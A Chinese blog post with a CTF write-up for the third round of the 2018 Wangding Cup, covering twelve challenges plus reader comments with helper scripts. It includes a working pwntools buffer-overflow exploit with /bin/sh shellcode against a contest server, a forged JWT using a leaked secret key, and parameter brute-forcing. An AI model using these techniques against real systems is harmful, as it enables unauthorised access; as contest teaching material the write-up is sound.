网鼎杯第三场wp

作者: print("") 分类: 信息安全 发布时间: 2018-08-27 20:32

网鼎杯第三场wp

连续打了好几次网鼎杯这场是最累的。事在是太累了。到了五点半我实在是gang不住了。我请假回家了。emmmm 回去的路上我都感觉头晕难受

废话不多说了,直接上吧

1、签到题


2、Not_only_base 

题目说的不止是base

拿到数据之后呢,直接base32 解开就行了

3、track_hacker

打开是一个流量包搜索一下http吧发现是一个上传的了一个shell的操作

收集一波信息吧

1.eJwrLy/XTUksSQQADqgDLQ==

2.eJwDAAAAAAE=

3.eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi

4.。。。。。。

解密到第三个,python 解开


Flag:flag{U_f1nd_Me!}

4、comein


使用burpsuite构造这样的参数进行发包

参考文章如下:https://ctftime.org/writeup/10429

参考文章2 :https://xz.aliyun.com/t/2454

5、gold

打开题目,发现收集1000金币才能获取到flag,但是金币一直在负增长,burpsuite抓包

这里是爆破,直接用getGod参数来进行爆破。我爆破了三次,第一次是1001 爆破失败,第二次到1005 第三次直接用0-5-10 这样爆破。最后得出flag

6、i_am_admin

其实这道题好像有原题。地址我忘记了,稍后发一下地址

打开登录地址,使用admin/admin、admin/123456等弱口令登录,发现

接着查看response包内容,发现登录账号密码是test/test

使用test/test登录,

但是这个只是登录界面,而且在上一步的response包中有一个“admin is not for u”这句话,也就是说我们要使用admin账号登录

接着我们使用burp获取登录之后主页的GET包

发现登录之前cookie中没有auth这个参数,猜想auth这个参数可能是解题的关键

将登录之后的auth值使用base64解密

发现username:test,把auth的值随便删掉几个,发包

发现服务器报500错误,查看返回包(主要是报错的内容,可以看到加密的方式等等),采用的是jwt加密,那我们使用jwt解密

参考文章:https://pypi.org/project/PyJWT/1.4.0/

secret_key的值我们开始在登录进去之后就知道了:

uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+

直接使用python进行解密

替换auth中的内容,发包

flag{af2b182e-4714-420e-8fc7-6a78993821ca}

7、Unpleasant_music

|打开wav文件发现是高低波形 转换为01数据得到rar文件

使用010 Editor打开文件发现其中隐写PNG文件

Run template修改block值

解压文件发现多出STM文件

修改文件后缀名为PNG打开发现为半张二维码

接下来需要爆破CRC判断图片实际尺寸 Python脚本如下

参考文章:

https://www.jianshu.com/p/0b5d14657d2e

爆破得到图片实际尺寸为280×280

修改文件头中的数据

得到完整的二维码

8、mirror

用winhex 打开

010Editor打开文件 根据提示发现文件尾有倒置的PNG文件头

搜索DNEI关键字找到PNG文件尾


将文件数据倒置并保存得到flag图片

9、dewas

根据题中提示FPS推断WASD键为方向 E为断点 画图得到flag


10、hafuhafu

打开文件发现public key以及enc 初步判断为RSA加密算法

n进行因数分解得到


n进行因数分解得到

使用Pythonrsatool得到PEM文件

enc进行BASE64解密然后保存

使用OPENSSL对BASE64解密后的密文解密得到flag

11、soEasy

查看伪代码 发现vul函数中有read() 有栈溢出漏洞

通过查看 &buf大小为48

通过Zio库编写脚本

#!/usr/bin/env python
from pwn import *
#file "/Users/LMva/Downloads/pwn"
import re

p = remote('106.75.95.47',42264)
ret=int(p.recvline()[-11:-1],16)


shellcode1 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
shellcode2 = "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
shellcode3 = "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
shellcode4 = "\x89\xe1\xcd\x80"
shellcode = shellcode1 + shellcode2 + shellcode3 +shellcode4
payload = shellcode + (76 - len(shellcode)) * "A" + p32(ret)

p.send(payload)
p.interactive()

12、babyre

是一个.net 程序 ,在源码中看到了flag拼接的过程

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

17条评论
  • LSA

    2018年8月27日 下午8:54

    等你22点更新,期待中……

  • Y

    2018年8月27日 下午9:01

    沙发

  • Y

    2018年8月27日 下午9:03

    收藏了

  • Y

    2018年8月27日 下午9:05

    为啥评论不了

    1. print("")

      2018年8月27日 下午9:13

      可以评论啊

  • 菜ji

    2018年8月27日 下午9:26

    坐等大佬跟新

  • neal

    2018年8月28日 上午8:56

    大佬 music 那题是怎么把波形转化为 01 数据文件的啊

  • neal

    2018年8月28日 上午8:57

    大佬 music 那题如何转化波形为 01 数据文件的啊

  • 神谕恋红尘

    2018年8月28日 上午10:16

    大佬 music 那题如何转化波形为 01 数据文件的啊

    1. xxxx

      2018年8月28日 下午8:42

      我是人工算的,2秒我算了半个小时,总共20秒,我没算完。放弃。

  • A11en4

    2018年8月28日 上午11:07

    大佬牛?呀!收下我的膝盖!

  • Smi1e

    2018年8月30日 下午8:57

    music那个不知道怎么转换成rar的,没看懂,大佬能详细说下吗

    1. Foll0wMe

      2018年8月31日 下午1:32

      import wave
      import time
      import numpy as np

      filename = r’c:\Users\smile\Desktop\music.wav’

      WAVE = wave.open(filename, “rb”)

      nframes = WAVE.getnframes() # 帧总数

      str_data = WAVE.readframes(nframes)
      wave_data = np.fromstring(str_data, dtype=np.short)

      for frame in wave_data:
      frame = int(frame)
      print “Frame:”, frame

      1. 路人甲

        2018年8月31日 下午6:34

        运行了下这段代码,并不清楚和转换rar文件有什么关联

  • poly

    2018年8月31日 上午10:34

    几个附件方便发一下吗

  • 欢乐玩家

    2018年9月25日 下午6:44

    dewas
    这个题目,你的图,程序没做碰到奇数个e停止轨迹,碰到偶数个e重新开始轨迹,所以出来的图示模糊的,如果做了,图像非常清晰,但是最后的叹号!标准答案是去掉的。

  • 欢乐玩家

    2018年9月25日 下午6:50

    dewas的C语言解题源码,读取1.txt输出2.txt
    #include

    #define COL 200
    #define ROW 100

    int main()
    {
    FILE *fpIn, *fpOut;
    char matrix[ROW][COL];
    int ch;
    int curL, curR;
    int flag = 1;
    int i, j;

    memset(matrix, 0x20, sizeof(matrix));

    fpIn = fopen(“1.txt”, “r”);
    if (fpIn == NULL) {
    printf(“open 1.txt err\n”);
    return 0;
    }
    curL = 3;
    curR = 1;
    while((ch = fgetc(fpIn)) != EOF) {
    switch (ch) {
    case ‘w’:
    curL –;
    if (flag)
    matrix[curL][curR] = ‘#’;
    break;
    case ‘s’:
    curL ++;
    if (flag)
    matrix[curL][curR] = ‘#’;
    break;
    case ‘a’:
    curR –;
    if (flag)
    matrix[curL][curR] = ‘#’;
    break;
    case ‘d’:
    curR ++;
    if (flag)
    matrix[curL][curR] = ‘#’;
    break;
    case ‘e’:
    if (flag)
    flag = 0;
    else
    flag = 1;
    break;
    default:
    printf(“unknow err [%c]\n”, ch);
    break;
    }
    }
    fclose(fpIn);

    fpOut = fopen(“2.txt”, “w”);
    if (fpOut == NULL) {
    printf(“open 2.txt err\n”);
    return 0;
    }

    for (i = 0; i < ROW; i ++) {
    for (j =0; j < COL; j++) {
    fprintf(fpOut, "%c", matrix[i][j]);
    }
    fprintf(fpOut, "%s", "\n");

    }
    fclose(fpOut);

    return 0;
    }

发表评论

电子邮件地址不会被公开。 必填项已用*标注